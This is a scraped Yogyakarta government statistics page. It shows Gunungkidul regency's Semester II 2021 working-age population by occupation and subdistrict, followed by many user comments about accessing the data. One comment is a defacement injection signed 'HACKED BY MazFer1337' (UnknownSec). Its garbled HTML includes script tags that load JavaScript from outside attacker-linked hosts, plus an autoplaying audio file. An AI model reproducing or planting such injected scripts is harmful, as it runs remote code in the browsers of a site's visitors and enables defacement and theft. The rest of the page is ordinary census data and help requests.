Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

JUMLAH PENDUDUK USIA KERJA KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Jenis Pekerjaan

Silakan Login atau Daftar untuk mengunduh berkas
Kemantren / Kapanewon Bukan Angkatan Kerja Angkatan Kerja
MENGURUS RUMAH TANGGA PELAJAR/MAHASISWA PENSIUNAN BELUM BEKERJA ASN TNI POLRI PEJABAT NEGARA BURUH /TUKANG BERKEAHLIAN KHUSUS SEKTOR PERTANIAN /PETERNAKAN /PERIKANAN KARYAWAN BUMN/BUMD KARYAWAN SWASTA WIRASWASATA TENAGA MEDIS PEKERJAAN LAINNYA TOTAL
L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P
WONOSARI 0 12.084 12.084 5.821 5.332 11.153 1.053 445 1.498 1.072 981 2.053 1.428 1.126 2.554 146 1 147 350 17 367 6 1 7 6.913 1.563 8.476 4.417 6.212 10.629 197 72 269 5.659 3.954 9.613 7.768 4.558 12.326 29 141 170 303 109 412 35.162 36.596 71.758
NGLIPAR 0 4.438 4.438 1.937 1.582 3.519 211 48 259 632 478 1.110 211 114 325 12 0 12 32 0 32 3 0 3 1.342 337 1.679 4.032 4.390 8.422 14 3 17 1.580 971 2.551 3.390 1.422 4.812 5 15 20 106 27 133 13.507 13.825 27.332
PLAYEN 0 7.665 7.665 3.627 3.009 6.636 737 232 969 1.310 1.069 2.379 839 626 1.465 60 1 61 93 9 102 3 1 4 4.301 1.159 5.460 6.131 7.684 13.815 85 24 109 3.521 2.267 5.788 3.353 1.668 5.021 17 75 92 300 80 380 24.377 25.569 49.946
PATUK 0 4.500 4.500 2.055 1.780 3.835 203 62 265 477 501 978 207 150 357 28 0 28 29 4 33 0 0 0 1.795 683 2.478 3.876 4.251 8.127 21 7 28 1.893 1.177 3.070 2.904 1.143 4.047 3 18 21 156 59 215 13.647 14.335 27.982
PALIYAN 0 2.697 2.697 1.423 1.466 2.889 236 58 294 416 516 932 216 153 369 22 1 23 36 2 38 1 2 3 2.408 804 3.212 3.750 5.514 9.264 16 9 25 1.301 831 2.132 3.159 1.673 4.832 4 16 20 121 33 154 13.109 13.775 26.884
PANGGANG 0 1.765 1.765 1.217 1.189 2.406 132 35 167 205 289 494 133 82 215 13 1 14 26 0 26 2 1 3 1.418 368 1.786 5.521 6.857 12.378 12 8 20 1.457 1.041 2.498 1.649 949 2.598 2 18 20 107 35 142 11.894 12.638 24.532
TEPUS 0 1.483 1.483 1.412 1.191 2.603 131 28 159 460 376 836 115 63 178 0 0 0 6 0 6 2 0 2 1.973 1.209 3.182 6.408 8.624 15.032 5 0 5 1.559 1.122 2.681 3.089 2.018 5.107 0 2 2 133 28 161 15.293 16.144 31.437
SEMANU 0 6.822 6.822 2.503 2.192 4.695 239 59 298 1.535 1.279 2.814 254 184 438 29 0 29 50 3 53 1 0 1 6.067 2.037 8.104 8.216 10.080 18.296 36 15 51 3.354 1.698 5.052 1.832 886 2.718 9 31 40 174 41 215 24.299 25.327 49.626
KARANGMOJO 0 8.033 8.033 3.261 2.803 6.064 556 172 728 1.060 1.054 2.114 486 330 816 32 0 32 57 3 60 2 0 2 4.048 884 4.932 6.082 6.967 13.049 34 15 49 4.528 2.386 6.914 2.089 896 2.985 14 38 52 220 67 287 22.469 23.648 46.117
PONJONG 0 5.501 5.501 3.107 2.598 5.705 399 149 548 833 653 1.486 342 284 626 17 0 17 35 2 37 1 0 1 3.279 1.292 4.571 8.088 9.635 17.723 32 11 43 4.302 2.315 6.617 2.160 1.005 3.165 6 32 38 228 56 284 22.829 23.533 46.362
RONGKOP 0 1.689 1.689 1.345 1.125 2.470 147 24 171 287 253 540 146 110 256 5 0 5 11 0 11 2 0 2 1.144 529 1.673 5.195 6.972 12.167 14 3 17 1.829 1.088 2.917 2.107 1.056 3.163 2 8 10 177 21 198 12.411 12.878 25.289
SEMIN 0 6.761 6.761 3.286 2.504 5.790 192 36 228 1.897 1.727 3.624 262 180 442 17 0 17 35 0 35 2 0 2 5.004 2.900 7.904 4.701 5.082 9.783 13 11 24 3.092 1.797 4.889 4.480 1.977 6.457 9 17 26 257 810 1.067 23.247 23.802 47.049
NGAWEN 0 4.301 4.301 2.289 1.832 4.121 147 30 177 823 906 1.729 160 109 269 8 0 8 14 0 14 2 0 2 3.178 1.238 4.416 3.902 3.978 7.880 11 9 20 1.819 1.110 2.929 1.506 709 2.215 2 20 22 137 40 177 13.998 14.282 28.280
GEDANGSARI 0 3.352 3.352 2.091 1.842 3.933 42 6 48 703 601 1.304 94 49 143 6 1 7 8 0 8 2 0 2 4.075 2.292 6.367 4.920 5.781 10.701 6 1 7 1.133 815 1.948 2.494 1.264 3.758 1 13 14 129 31 160 15.704 16.048 31.752
SAPTOSARI 0 2.201 2.201 1.465 1.455 2.920 85 11 96 439 444 883 128 77 205 7 0 7 17 3 20 0 0 0 4.700 1.569 6.269 6.322 9.292 15.614 10 1 11 1.210 896 2.106 1.373 708 2.081 1 15 16 159 26 185 15.916 16.698 32.614
GIRISUBO 0 1.370 1.370 1.193 1.010 2.203 79 9 88 226 143 369 113 64 177 1 0 1 5 0 5 0 0 0 1.093 474 1.567 5.622 6.768 12.390 5 5 10 1.425 909 2.334 730 353 1.083 3 8 11 176 33 209 10.671 11.146 21.817
TANJUNGSARI 0 1.531 1.531 1.006 733 1.739 101 13 114 930 740 1.670 155 81 236 6 0 6 19 2 21 1 0 1 1.957 1.091 3.048 5.047 6.557 11.604 10 4 14 670 477 1.147 1.963 1.376 3.339 5 13 18 120 30 150 11.990 12.648 24.638
PURWOSARI 0 1.171 1.171 1.046 1.031 2.077 50 9 59 155 126 281 85 66 151 2 0 2 7 2 9 0 0 0 1.832 800 2.632 4.090 5.168 9.258 5 1 6 641 398 1.039 394 168 562 5 10 15 84 23 107 8.396 8.973 17.369
Jumlah 0 77.364 77.364 40.084 34.674 74.758 4.740 1.426 6.166 13.460 12.136 25.596 5.374 3.848 9.222 411 5 416 830 47 877 30 5 35 56.527 21.229 77.756 96.320 119.812 216.132 526 199 725 40.973 25.252 66.225 46.440 23.829 70.269 117 490 607 3.087 1.549 4.636 308.919 321.865 630.784
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY
Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih